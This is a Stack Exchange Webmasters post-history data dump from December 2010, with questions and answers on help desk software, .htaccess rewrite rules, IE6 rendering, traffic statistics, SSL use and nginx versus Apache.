  <row Id="13399" PostHistoryTypeId="2" PostId="6680" RevisionGUID="70a0c7f0-3992-4914-97c7-60e195707fae" CreationDate="2010-12-13T17:42:56.727" UserId="1985" Text="I am looking for help desk webapp that can help a small team manage support tickets.&#xD;&#xA;&#xD;&#xA;I would like the tool to be able to convert email received via an email address like support@mydomain.com into tickets and any subsequent replies to be added to the ticket. The tool should also have a web interface where users can log on and post new tickets and track their progress. Support team members should be able to reply to the ticket from a web based user interface.&#xD;&#xA;&#xD;&#xA;Googling gets me lots of results but what I would really like is some recommendations of what the best ones are. I'm prepared to pay for the right piece of software but i'm not going to complain about some cheap or even free suggestions." />
  <row Id="13400" PostHistoryTypeId="1" PostId="6680" RevisionGUID="70a0c7f0-3992-4914-97c7-60e195707fae" CreationDate="2010-12-13T17:42:56.727" UserId="1985" Text="Tool for managing support requests from end users." />
  <row Id="13401" PostHistoryTypeId="3" PostId="6680" RevisionGUID="70a0c7f0-3992-4914-97c7-60e195707fae" CreationDate="2010-12-13T17:42:56.727" UserId="1985" Text="&lt;users&gt;" />
  <row Id="13402" PostHistoryTypeId="5" PostId="6679" RevisionGUID="e1073052-28de-4d66-908b-0296c3a08226" CreationDate="2010-12-13T17:43:56.463" UserId="3867" Comment="added 174 characters in body; added 143 characters in body" Text="Here is an article which discusses this issue and has a few options:&#xD;&#xA;&#xD;&#xA;http://css-tricks.com/accessibility-basics-testing-your-page-for-color-blindness/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;What version of Photoshop do you use? CS4 and CS5 include [a preview for two types of colour blindness][1] in the &quot;View&quot; menu, under the &quot;Proof Setup&quot; menu item…&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://help.adobe.com/en_US/Photoshop/11.0/WS151986BD-6D68-4880-9123-CC0D8B7033F5.html#WS473A333A-7F61-4aba-8F67-5553208E349C" />
  <row Id="13403" PostHistoryTypeId="2" PostId="6681" RevisionGUID="ba222473-dec1-4d60-9594-c271058c7740" CreationDate="2010-12-13T18:07:38.103" UserId="3679" Text="I have used request tracker that does exactly what you want.&#xD;&#xA;http://bestpractical.com/rt/&#xD;&#xA;&#xD;&#xA;Bugzilla is another very popular tool, which is very popular with open source community and have used in enterprise setups too.&#xD;&#xA;&#xD;&#xA;http://www.bugzilla.org/" />
  <row Id="13404" PostHistoryTypeId="2" PostId="6682" RevisionGUID="5ed7dd60-0b86-41ed-96f8-f227e497d8c1" CreationDate="2010-12-13T18:17:59.967" UserId="1064" Text="Sameer's suggestion, RT, works (and it's free); in the open source space, there's also [Sugar CRM][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sugarcrm.com/crm/" />
  <row Id="13405" PostHistoryTypeId="2" PostId="6683" RevisionGUID="059e6659-e15b-45e3-abd6-03b14a593076" CreationDate="2010-12-13T18:31:25.627" UserId="3142" Text="I ran an I.T. company and we used a product called [Connectwise][1]. It's generally considered the best of its kind, and it automatically opens tickets up from emails sent in by clients.&#xD;&#xA;&#xD;&#xA;The main competitor to ConnecWise is [AutoTask][2]. It has a good user base, too, but runs only SaaS -- no local install option.&#xD;&#xA;&#xD;&#xA;Some additional options that might be worth checking out are [TigerPaw][3] and [ShockeyMonkey][4].&#xD;&#xA;&#xD;&#xA;This category of software is called PSA -- professional service automation. All of the packages I suggested have avenues for billing, accounting for time, or applying the incident to a service contract of any typical type. They also will interface with some popular monitoring platforms (like [Kaseya][5] or [Level Platforms][6]) with the purpose of capturing support events in an automated manner and placing them on a service board for prioritization.&#xD;&#xA;&#xD;&#xA;Best of luck.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.connectwise.com/&#xD;&#xA;  [2]: http://www.autotask.com/&#xD;&#xA;  [3]: http://www.tigerpawsoftware.com/&#xD;&#xA;  [4]: http://www.shockeymonkey.com/&#xD;&#xA;  [5]: http://www.kaseya.com/&#xD;&#xA;  [6]: http://www.levelplatforms.com/" />
  <row Id="13406" PostHistoryTypeId="6" PostId="6680" RevisionGUID="17c7c827-7a52-48f0-b0ed-c9c052134deb" CreationDate="2010-12-13T18:32:25.580" UserId="3142" Comment="edited tags" Text="&lt;users&gt;" />
  <row Id="13407" PostHistoryTypeId="2" PostId="6684" RevisionGUID="3a3c866d-8f1a-4c71-9df3-de66ad4c0166" CreationDate="2010-12-13T18:34:28.260" UserId="1253" Text="If you mean your own website, then yes, there are tools for this. Any decent analytics tool like [Google Analytics][1] or [Awstats][2] can easily tell you this information.&#xD;&#xA;&#xD;&#xA;If you mean for another website that is not yours, then no, there is no way to get this information. This information is only available if you have tracking software on a website's web pages or access to the site's access logs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/analytics/&#xD;&#xA;  [2]: http://awstats.sourceforge.net/" />
  <row Id="13408" PostHistoryTypeId="6" PostId="6678" RevisionGUID="3d891e61-58b3-4461-b195-fc4cfed5a12f" CreationDate="2010-12-13T18:35:44.983" UserId="1253" Comment="edited tags" Text="&lt;traffic&gt;&lt;analytics&gt;&lt;seo-software&gt;" />
  <row Id="13409" PostHistoryTypeId="2" PostId="6685" RevisionGUID="5f6ad6d0-72ea-410b-988f-6e3b273e62ec" CreationDate="2010-12-13T18:46:36.400" UserId="2840" Text="I just set up [eStreamDesk][1] in my company.&#xD;&#xA;&#xD;&#xA;It's e-mail based, incredibly simple, free (not opensource), integrated with Google Apps with SSO, highly customizable...&#xD;&#xA;&#xD;&#xA;It can also work with your own domain name / e-mail.&#xD;&#xA;&#xD;&#xA;I'm really fan of this application!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://estreamdesk.com/" />
  <row Id="13410" PostHistoryTypeId="2" PostId="6686" RevisionGUID="43ad4791-dcac-4a69-a2a9-fe3b390bbade" CreationDate="2010-12-13T19:21:58.773" UserId="1064" Text="Check out the [OpenClipArt project][1] - seems to be fairly extensive.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://openclipart.org/" />
  <row Id="13415" PostHistoryTypeId="5" PostId="6621" RevisionGUID="7d383fb9-38ff-463c-9cc9-2e66dcf5112a" CreationDate="2010-12-13T21:08:11.763" UserId="1171" Comment="Updated with my current .htaccess file" Text="I want to implement a rewrite rule in my .htaccess file to show a specific url as a directory of my server. See the code below I written,&#xD;&#xA;&#xD;&#xA;    RewriteRule ^(.*)/$ ?page=$1 [NC]&#xD;&#xA;This will rewrites urls like `www.mysite.com/abc/` to `www.mysite.com/index.php?page=abc`.  &#xD;&#xA;But if I request `www.mysite.com/abc` then it is throwing an 404 error.  &#xD;&#xA;How can I write a rewrite rule which will match `www.mysite.com/abc` and `www.mysite.com/abc/` both?  &#xD;&#xA;&#xD;&#xA;**Edit:**  &#xD;&#xA;My current .htaccess file (After [Litso's answer's 3rd revision](http://webmasters.stackexchange.com/posts/6631/revisions)) is like below:&#xD;&#xA;&#xD;&#xA;    ##&#xD;&#xA;    &#xD;&#xA;    ErrorDocument 401 /index.php?error=401&#xD;&#xA;    ErrorDocument 400 /index.php?error=400&#xD;&#xA;    ErrorDocument 403 /index.php?error=403&#xD;&#xA;    ErrorDocument 500 /index.php?error=500&#xD;&#xA;    ErrorDocument 404 /index.php?error=404&#xD;&#xA;&#xD;&#xA;    DirectoryIndex index.htm index.html index.php&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteBase /&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteRule ^(.+)\.html?$ $1.php&#xD;&#xA;    RewriteCond !-d&#xD;&#xA;    RewriteRule ^(.*)/$ ?page=$1 [NC,L]&#xD;&#xA;    RewriteCond %{REQUEST_URI} !index.php&#xD;&#xA;    RewriteRule ^(.*)$ ?page=$1 [NC,L]&#xD;&#xA;&#xD;&#xA;    ##" />
  <row Id="13416" PostHistoryTypeId="5" PostId="6621" RevisionGUID="c55af5e8-cfbf-43c6-b8c3-daa240640af4" CreationDate="2010-12-13T21:18:39.573" UserId="1171" Comment="added 151 characters in body" Text="I want to implement a rewrite rule in my .htaccess file to show a specific url as a directory of my server. See the code below I written,&#xD;&#xA;&#xD;&#xA;    RewriteRule ^(.*)/$ ?page=$1 [NC]&#xD;&#xA;This will rewrites urls like `www.mysite.com/abc/` to `www.mysite.com/index.php?page=abc`.  &#xD;&#xA;But if I request `www.mysite.com/abc` then it is throwing an 404 error.  &#xD;&#xA;How can I write a rewrite rule which will match `www.mysite.com/abc` and `www.mysite.com/abc/` both?  &#xD;&#xA;&#xD;&#xA;**Edit:**  &#xD;&#xA;My current .htaccess file (After [Litso's answer](http://webmasters.stackexchange.com/questions/6621/rewrite-rule-to-show-as-directory-using-htaccess/6631#6631)'s [3rd revision](http://webmasters.stackexchange.com/revisions/6402ccf5-d54d-41e0-980d-dd08adba9312/view-source)) is like below:&#xD;&#xA;&#xD;&#xA;    ##&#xD;&#xA;    &#xD;&#xA;    ErrorDocument 401 /index.php?error=401&#xD;&#xA;    ErrorDocument 400 /index.php?error=400&#xD;&#xA;    ErrorDocument 403 /index.php?error=403&#xD;&#xA;    ErrorDocument 500 /index.php?error=500&#xD;&#xA;    ErrorDocument 404 /index.php?error=404&#xD;&#xA;&#xD;&#xA;    DirectoryIndex index.htm index.html index.php&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteBase /&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteRule ^(.+)\.html?$ $1.php&#xD;&#xA;    RewriteCond !-d&#xD;&#xA;    RewriteRule ^(.*)/$ ?page=$1 [NC,L]&#xD;&#xA;    RewriteCond %{REQUEST_URI} !index.php&#xD;&#xA;    RewriteRule ^(.*)$ ?page=$1 [NC,L]&#xD;&#xA;&#xD;&#xA;    ##" />
  <row Id="13417" PostHistoryTypeId="2" PostId="6689" RevisionGUID="f36e608c-1bf0-477e-89dc-8dff6dddff57" CreationDate="2010-12-13T22:41:36.910" UserId="1429" Text="Most of the webhosters i use as vendors seem to use [Kayako][1].&#xD;&#xA;&#xD;&#xA;For what is worth, from my side as a customer is a good ticket system, I mean it works, except for some front-end bug (IE shows JS errors, but it's becaise I turned on IE debugger).&#xD;&#xA;&#xD;&#xA;It's expensive 600$, but it's a one time fee.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kayako.com/products/resolve/" />
  <row Id="13418" PostHistoryTypeId="2" PostId="6690" RevisionGUID="c4edd7b0-e4f2-491b-9c60-c5e8354f96a9" CreationDate="2010-12-13T23:10:40.143" UserId="116" Text="have a look at [themeforest][1] they have site templates, psd, wordpress tempplates or individual icons/buttons etc you should be able to put together or buy someing pretty clean and sharp from there without too much graphic deisgn skills, basically if you find something you really like you can just get the psd and slice it to html yourself or if your feeling lazy and want a quick (only quick not necessarily good) result buy a full template and amend as necessary. &#xD;&#xA;&#xD;&#xA;caveat from re-reading your question you asked for free, these are not free but $20 is nto a terrible amount of money for a site that looks good imo &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://themeforest.net" />
  <row Id="13419" PostHistoryTypeId="2" PostId="6691" RevisionGUID="ed3eced2-3029-458b-9322-5247740ec9e1" CreationDate="2010-12-13T23:19:48.390" UserId="116" Text="[themeforest][1] is what your after&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://themeforest.net" />
  <row Id="13420" PostHistoryTypeId="2" PostId="6692" RevisionGUID="c86cc4cb-6cf7-4222-8eeb-92dc06c4c076" CreationDate="2010-12-14T00:28:07.593" UserId="3142" Text="There are some great skins for the dominant CMS-es out there, such as WordPress, Drupal and Joomla. It's sometimes useful to snip parts of their CSS, too.&#xD;&#xA;&#xD;&#xA;I wouldn't go so far to suggest this route is better than any of the other ideas or sites that are being suggested here, but I think you might get some good ideas from them." />
  <row Id="13429" PostHistoryTypeId="2" PostId="6694" RevisionGUID="57f58741-6e2a-4266-a158-eab250b6ef30" CreationDate="2010-12-14T04:11:22.747" UserDisplayName="Quark77" Text="I've got a bit of a peculiar problem on my site. I'm using a .htaccess and .htpasswd file to protect the root of the site. This works great, but when I try to view a video file on my site, it prompts for the password again. Is there something I can do so the only time a visitor is prompted to login is the first time he loads the page?&#xD;&#xA;Thanks!&#xD;&#xA;quark" />
  <row Id="13430" PostHistoryTypeId="1" PostId="6694" RevisionGUID="57f58741-6e2a-4266-a158-eab250b6ef30" CreationDate="2010-12-14T04:11:22.747" UserDisplayName="Quark77" Text="Controlling Access using htpasswd and htaccess" />
  <row Id="13431" PostHistoryTypeId="3" PostId="6694" RevisionGUID="57f58741-6e2a-4266-a158-eab250b6ef30" CreationDate="2010-12-14T04:11:22.747" UserDisplayName="Quark77" Text="&lt;security&gt;&lt;htaccess&gt;&lt;password&gt;" />
  <row Id="13432" PostHistoryTypeId="2" PostId="6695" RevisionGUID="11e7daa7-c55d-4d61-96ed-034faa2178de" CreationDate="2010-12-14T07:14:18.103" UserDisplayName="PsychoKlown" Text="My co-worker gave me this crappy template and I've been patching it up for a few weeks. Recently to resolve a dynamic width issue, I used &quot;The Holy Grail 3 column&quot; template. The template renders perfect in everything **except** IE6.&#xD;&#xA;&#xD;&#xA;What has given some positive results is removing the background attribute from the (.holygrail), (.holygrail .colmid), and (.holygrail .colleft) selectors. The results are that some of the content shows up and then disappears. Not really great results.&#xD;&#xA;&#xD;&#xA;This issue is only with IE6.&#xD;&#xA;&#xD;&#xA;What I've tried:&#xD;&#xA;&#xD;&#xA; - Removing backgrounds&#xD;&#xA; - Removing jquery&#xD;&#xA; - Adding IE bug fixing scripts&#xD;&#xA; - Removing all CSS except screen.css&#xD;&#xA; - Remove any margin/padding that could affect layout&#xD;&#xA;&#xD;&#xA;Site: &lt;http://oursharedinsights.org&gt;" />
  <row Id="13433" PostHistoryTypeId="1" PostId="6695" RevisionGUID="11e7daa7-c55d-4d61-96ed-034faa2178de" CreationDate="2010-12-14T07:14:18.103" UserDisplayName="PsychoKlown" Text="IE6 Not Rendering Site Properly. Removing background images&quot;fixes&quot; it." />
  <row Id="13434" PostHistoryTypeId="3" PostId="6695" RevisionGUID="11e7daa7-c55d-4d61-96ed-034faa2178de" CreationDate="2010-12-14T07:14:18.103" UserDisplayName="PsychoKlown" Text="&lt;css&gt;&lt;internet-explorer-6&gt;" />
  <row Id="13435" PostHistoryTypeId="2" PostId="6696" RevisionGUID="f96bf884-114d-45c8-b937-cbdd3ab6aa72" CreationDate="2010-12-14T07:26:20.507" UserId="1218" Text="I've seen this a couple of times. It's not always possible to work out what has happened, but in several cases, a machine with the FTP details has been infected with some kind of malware/virus, that uses the FTP details to connect to the server and infect the machine." />
  <row Id="13436" PostHistoryTypeId="2" PostId="6697" RevisionGUID="a2b8629f-e38e-4aa3-870a-8eef8fdd6345" CreationDate="2010-12-14T07:45:28.860" UserId="1218" Text="It's not really that easy to compare, because they deal in different metrics. &#xD;&#xA;&#xD;&#xA;Looking at Compete's Unique Visitors for a site that i'm involved in, they give an average of 4,000 unique visitors per month. Google Analytics for the site average 180,000 unique visitors per month. &#xD;&#xA;&#xD;&#xA;For Alexa, the metrics are all expressed as a percentage of global stats, or &quot;&#xD;&#xA;unique pages per day&quot; -- things that no one else uses, so there's no way to gauge the accuracy of the stats.&#xD;&#xA;&#xD;&#xA;However, i believe that the problem is the small, US-centric sample which penalises non-US sites (FYI, the site i'm talking about here is for a business in South East Asia). &#xD;&#xA;&#xD;&#xA;Moreover, looking at the textual information that Alexa presents, i'm concerned that it's several years out of date, which makes me doubt the efficiency of the system. According to Wikipedia:&#xD;&#xA;&#xD;&#xA;&gt; On November 27, 2008, Amazon announced that Alexa Web Search was no longer accepting new customers, and the service would be deprecated or discontinued for existing customers on January 26, 2009&#xD;&#xA;&#xD;&#xA;The [Wikipedia article][1] is a good read, as it talks about the accuracy of stats.&#xD;&#xA;&#xD;&#xA;Final word: trust only verified stats!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Alexa_Internet" />
  <row Id="13437" PostHistoryTypeId="5" PostId="6653" RevisionGUID="bd5ab1c6-953e-4153-900e-bbb116c13b2e" CreationDate="2010-12-14T08:04:41.473" UserDisplayName="Peter V. Mørch" Comment="Changed URL for &quot;demo table widths page&quot;" Text="On our site we have tables containing data. We like the column widths we get with a normal `table`, but we like the border-bottom of `td`s to stretch the entire width of the page like we get with CSS: `table { width:100% }`, as can be seen on a [demo table widths page](http://www.morch.com/download/tableWidth/tableWidths.html).&#xD;&#xA;&#xD;&#xA;Is it possible to achieve the same column widths as with a normal (non-width-100%) table in a table where the border-bottom stretches the entire width?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Btw, is there _a better way_ (tm) of showing HTML snippets than linking to an external page? I can show just source, but having HTML rendered too is _so_ illustrative." />
  <row Id="13438" PostHistoryTypeId="2" PostId="6698" RevisionGUID="5ace9162-c718-47e6-9dbd-d23a42361095" CreationDate="2010-12-14T08:27:23.033" UserId="3876" Text="I'm trying to submit my a merchant feed to Google Shopping Search (aka Froogle) but every now and then I get an email saying that the URLs in the feed are &quot;Roboted Content&quot;.&#xD;&#xA;&#xD;&#xA;The URLs in the feed are tracking ones which means that they redirect to the real product pages. Both directories aren't in my robots.txt. Yet Google keeps telling me that they are blocked for its crawlers.&#xD;&#xA;&#xD;&#xA;How can I find out exactly what the offending URL is?" />
  <row Id="13439" PostHistoryTypeId="1" PostId="6698" RevisionGUID="5ace9162-c718-47e6-9dbd-d23a42361095" CreationDate="2010-12-14T08:27:23.033" UserId="3876" Text="Google Merchant Feed: Roboted Content" />
  <row Id="13440" PostHistoryTypeId="3" PostId="6698" RevisionGUID="5ace9162-c718-47e6-9dbd-d23a42361095" CreationDate="2010-12-14T08:27:23.033" UserId="3876" Text="&lt;google&gt;" />
  <row Id="13441" PostHistoryTypeId="2" PostId="6699" RevisionGUID="b3d3b431-7246-4870-8397-aa4befce6677" CreationDate="2010-12-14T09:45:11.237" UserId="3307" Text="My suggestion would be don't give them access to the production server, just to a dev/staging version." />
  <row Id="13442" PostHistoryTypeId="2" PostId="6700" RevisionGUID="0d145f92-fef5-4970-8464-233f3655ad43" CreationDate="2010-12-14T09:49:13.263" UserId="3307" Text="[Openx][1] seems to have a work around: http://www.openx.org/support/faqs/troubleshooting&#xD;&#xA;&#xD;&#xA;On another note, why do you server *every* page over https? Is that absolutely necessary?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openx.org" />
  <row Id="13443" PostHistoryTypeId="2" PostId="6701" RevisionGUID="01525c5f-407a-4c21-bab0-d3d33d37db20" CreationDate="2010-12-14T10:14:38.487" UserDisplayName="Andrej" Text="I have a web page with a bit of a problem on it.&#xD;&#xA;&#xD;&#xA;When there is more content on the page, the height expands, wich is fine, but as the height expands, every browser shows a scrollbar at the most right part. The problem is, when that scrollbar is visible, my page content moves about 10 px to the left (10px beeing the width of the scrollbar).&#xD;&#xA;&#xD;&#xA;Does anybody know how to fix this so that my content stays on the middle and ignore the scrollbar?&#xD;&#xA;&#xD;&#xA;Thanks in advance for your time!&#xD;&#xA;&#xD;&#xA;Andrej" />
  <row Id="13444" PostHistoryTypeId="1" PostId="6701" RevisionGUID="01525c5f-407a-4c21-bab0-d3d33d37db20" CreationDate="2010-12-14T10:14:38.487" UserDisplayName="Andrej" Text="Scrollbar pushing main content" />
  <row Id="13445" PostHistoryTypeId="3" PostId="6701" RevisionGUID="01525c5f-407a-4c21-bab0-d3d33d37db20" CreationDate="2010-12-14T10:14:38.487" UserDisplayName="Andrej" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="13446" PostHistoryTypeId="2" PostId="6702" RevisionGUID="eb1ad050-5ac5-4cf6-9eb5-7d00a0e92d04" CreationDate="2010-12-14T10:28:17.707" UserId="3878" Text="I am creating a web application that doesn't work correctly on mobile. I don't want to make it work on mobile because I would rather mobile users have a fully integrated experience and not have to use the web version. This mobile version will be released at a later date based on reaction to the initial web-based version.&#xD;&#xA;&#xD;&#xA;So, my question is: Is it wrong to not allow mobile users to use the site and instead show them some sort of splash screen telling them to come back to the site on a computer?" />
  <row Id="13447" PostHistoryTypeId="1" PostId="6702" RevisionGUID="eb1ad050-5ac5-4cf6-9eb5-7d00a0e92d04" CreationDate="2010-12-14T10:28:17.707" UserId="3878" Text="Is it wrong to tell mobile users to view a site on their computer?" />
  <row Id="13448" PostHistoryTypeId="3" PostId="6702" RevisionGUID="eb1ad050-5ac5-4cf6-9eb5-7d00a0e92d04" CreationDate="2010-12-14T10:28:17.707" UserId="3878" Text="&lt;mobile&gt;&lt;iphone&gt;&lt;web-applications&gt;&lt;android&gt;&lt;cross-platform&gt;" />
  <row Id="13449" PostHistoryTypeId="2" PostId="6703" RevisionGUID="4c2c319b-82df-49f3-a7eb-8d18de58bed0" CreationDate="2010-12-14T11:04:51.620" UserId="3307" Text="This question stemmed from a discussion here: http://webmasters.stackexchange.com/questions/6557/ad-networks-that-will-serve-via-https/6700&#xD;&#xA;&#xD;&#xA;My question to the OP was &quot;is it necessary to have every page behind SSL?&quot; Admittedly at the time of posting this question, the OP hadn't got back to me to let me know what kind of site he had, was everything behind a login etc etc&#xD;&#xA;&#xD;&#xA;I agree that if everything was behind a login then yes, it should also be protected by an SSL certificate, but if (for example) the site was a wordpress blog, would it be necessary for the parts of the site that were just going to be viewed by your average user (i.e. one that's not logged in) to be accessed over HTTPS. Admittedly, if you were logged in and viewing the &quot;front-end&quot; of the site, it would send over your cookie, but as long as you took precautions against that then it should be ok, right?" />
  <row Id="13450" PostHistoryTypeId="1" PostId="6703" RevisionGUID="4c2c319b-82df-49f3-a7eb-8d18de58bed0" CreationDate="2010-12-14T11:04:51.620" UserId="3307" Text="Should every page on every site be behind SSL?" />
  <row Id="13451" PostHistoryTypeId="3" PostId="6703" RevisionGUID="4c2c319b-82df-49f3-a7eb-8d18de58bed0" CreationDate="2010-12-14T11:04:51.620" UserId="3307" Text="&lt;ssl&gt;" />
  <row Id="13452" PostHistoryTypeId="2" PostId="6704" RevisionGUID="75eca89e-13f9-438b-9ed3-3053481701e1" CreationDate="2010-12-14T11:48:58.887" UserId="3718" Text="You can stop the scrollbar by using the &quot;overflow: hidden&quot; attribute to the Div that the scrollbar appears in. There are other ways and means, but it's hard to say when can't see the web page or code." />
  <row Id="13453" PostHistoryTypeId="2" PostId="6705" RevisionGUID="a10efcad-765a-4f4d-8ff3-e771532a15eb" CreationDate="2010-12-14T12:04:09.550" UserId="3307" Text="[Fasthosts][1] in the UK do shared Windows hosting.&#xD;&#xA;&#xD;&#xA;In fact, a quick check on Google brings back lots of results for shared windows hosting. try one of them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fasthosts.co.uk/" />
  <row Id="13454" PostHistoryTypeId="2" PostId="6706" RevisionGUID="df8061d3-a952-4ff7-ab5e-71771c45557d" CreationDate="2010-12-14T12:24:15.767" UserId="1953" Text="I personally access the web from my phone about 90% of the time when I'm not at work so if it doesn't work on the phone it is not a viable option for me, but currently the overwhelming population still uses desktops or laptops, so you should still have a sizable potential user base by ignoring mobile.&#xD;&#xA;&#xD;&#xA;I ascribe to the theory of &quot;if you're trying to please everyone you're not thrilling anyone&quot;, as long as there is a large enough group of people that fall into the &quot;will be thrilled&quot; category to support your goals, then the people like me who will be irritated that I can't use your site on my phone don't really matter. &#xD;&#xA;" />
  <row Id="13455" PostHistoryTypeId="2" PostId="6707" RevisionGUID="0017907f-bf7b-461b-96c7-d07c1c1066c9" CreationDate="2010-12-14T12:32:16.790" UserId="89" Text="I don't know of any shared hosting company that would let you run a windows service - but shared hosts do let you run scheduled/reoccurring tasks.&#xD;&#xA;&#xD;&#xA;Send the sales people of your top hosting choices an e-mail and ask them about reoccurring tasks (not windows services) and they will probably have something for you.&#xD;&#xA;&#xD;&#xA;Back when I used http://webhost4life.com they had a way to add reoccurring tasks in their control panel - at a small extra cost, I never used it myself, I don't know how those tasks run and since I've left they replaced the entire hosting system (so I don't even know if this option still exists)." />
  <row Id="13456" PostHistoryTypeId="2" PostId="6708" RevisionGUID="78e3499e-e75d-470d-851c-947e45c31fed" CreationDate="2010-12-14T12:48:28.907" UserId="1757" Text="How are you planning on detecting whether a user is surfing on a mobile device or not? Keep in mind that not all mobile browsers behave like mobile browsers. In fact, the browser on many newer smart phones seem to try to pass themselves off as regular desktop browsers since they already match most features of a full-fledged desktop browser and don't want to force their users to view stripped down versions of websites designed for more primitive phones.&#xD;&#xA;&#xD;&#xA;Even mobile resolutions are catching up to desktops and laptops with WVGA (800x480)&amp;mdash;and not to mention netbooks and tablets (will they be considered mobile devices and prohibited from viewing the main site?).&#xD;&#xA;&#xD;&#xA;Whatever you decide to do, be careful you're not creating a situation common in the IE4 days where non-IE browsers were being turned away from sites because their browser was &quot;unsupported&quot; (some sites were so arrogant as to recommend that the user &quot;*upgrade* to IE&quot;) even though the user's browser was still fully capable of rendering the page perfectly fine. In most cases, it's almost always better to give an unrecognized browser the benefit of the doubt and let the user decide whether the site adequately supports their browser setup or not. If everything is out of alignment and the navigation is broken, then the user will leave the page. So there's no need to turn the user away off-hand.&#xD;&#xA;&#xD;&#xA;Personally, I'd let any user view the standard site if they wish, but just flash a warning when a user is suspected of being on a mobile device, letting them know that the current site isn't designed for mobile users, and a specialized mobile site is in the works." />
  <row Id="13457" PostHistoryTypeId="10" PostId="6695" RevisionGUID="fecbc074-2d57-48b1-a646-3a273197ae73" CreationDate="2010-12-14T12:50:22.257" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="13458" PostHistoryTypeId="10" PostId="6701" RevisionGUID="f0fd6c37-eae0-4b9d-a001-a607d8b77bdc" CreationDate="2010-12-14T12:55:08.993" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="13459" PostHistoryTypeId="5" PostId="6708" RevisionGUID="a0bfcdbd-9d5c-4d6d-a061-b4cd426dbfca" CreationDate="2010-12-14T12:57:06.670" UserId="1757" Comment="added 309 characters in body" Text="How are you planning on detecting whether a user is surfing on a mobile device or not? Keep in mind that not all mobile browsers behave like mobile browsers. In fact, the browser on many newer smart phones seem to try to pass themselves off as regular desktop browsers since they already match most features of a full-fledged desktop browser and don't want to force their users to view stripped down versions of websites designed for more primitive phones.&#xD;&#xA;&#xD;&#xA;Even mobile resolutions are catching up to desktops and laptops with WVGA (800x480)&amp;mdash;and not to mention netbooks and tablets (will they be considered mobile devices and prohibited from viewing the main site?).&#xD;&#xA;&#xD;&#xA;Whatever you decide to do, be careful you're not creating a situation common in the IE4 days where non-IE browsers were being turned away from sites because their browser was &quot;unsupported&quot; (some sites were so arrogant as to recommend that the user &quot;*upgrade* to IE&quot;) even though the user's browser was still fully capable of rendering the page perfectly fine. In most cases, it's almost always better to give an unrecognized browser the benefit of the doubt and let the user decide whether the site adequately supports their browser setup or not. If everything is out of alignment and the navigation is broken, then the user will leave the page. So there's no need to turn the user away off-hand.&#xD;&#xA;&#xD;&#xA;Personally, I'd let any user view the standard site if they wish, but just flash a warning when a user is suspected of being on a mobile device, letting them know that the current site isn't designed for mobile users, and a specialized mobile site is in the works.&#xD;&#xA;&#xD;&#xA;If you *really* need to reject users, I would at least put up some kind of &quot;subscribe to updates&quot; box to allow mobile users to be notified when the mobile site is launched. This way you know how many mobile users are interested in the site, and mobile users won't feel like they're being left in the cold." />
  <row Id="13460" PostHistoryTypeId="2" PostId="6709" RevisionGUID="2b0966c0-96fa-489d-8122-5c61d19cb50b" CreationDate="2010-12-14T16:28:33.510" UserDisplayName="Aditya Shukla" Text="How should I decide which web server to use ? I know it is application specific.I just want to under under which circumstances ngnix would be chosen over apache?" />
  <row Id="13461" PostHistoryTypeId="1" PostId="6709" RevisionGUID="2b0966c0-96fa-489d-8122-5c61d19cb50b" CreationDate="2010-12-14T16:28:33.510" UserDisplayName="Aditya Shukla" Text="Nginx or Apache as the web server" />
  <row Id="13462" PostHistoryTypeId="3" PostId="6709" RevisionGUID="2b0966c0-96fa-489d-8122-5c61d19cb50b" CreationDate="2010-12-14T16:28:33.510" UserDisplayName="Aditya Shukla" Text="&lt;server&gt;&lt;webserver&gt;" />
  <row Id="13463" PostHistoryTypeId="17" PostId="6709" RevisionGUID="e8a41449-8077-4628-9725-247b78d169e6" CreationDate="2010-12-14T16:33:15.083" UserId="-1" Comment="from http://stackoverflow.com/questions/4441488/nginx-or-apache-as-the-web-server" Text="" />
  <row Id="13464" PostHistoryTypeId="2" PostId="6710" RevisionGUID="bb78f01c-cd9b-4e69-b7ac-e924813dceb1" CreationDate="2010-12-14T16:36:37.913" UserId="3453" Text="It's not wrong, it's your website.&#xD;&#xA;But what do you mean by &quot;not working correctly?&quot;&#xD;&#xA;&#xD;&#xA;If it is a resolution problem, just set a min-width for the body in your CSS file." />
  <row Id="13465" PostHistoryTypeId="2" PostId="6711" RevisionGUID="709b1e84-6cf6-4c50-b45d-e3ecbdeff77c" CreationDate="2010-12-14T16:38:06.197" UserId="3884" Text="Nginx is great whenever performance is critical or resources are tight, and you don't need some apache-specific functionality (e.g. obscure .htaccess directives). Most of the &quot;important&quot; apache modules can be emulated in nginx (and in some cases, e.g. regex based redirects, nginx is even better). Personally, my experience with nginx has been very positive, and I would always use it over apache unless I _absolutely_ had to run apache for something." />
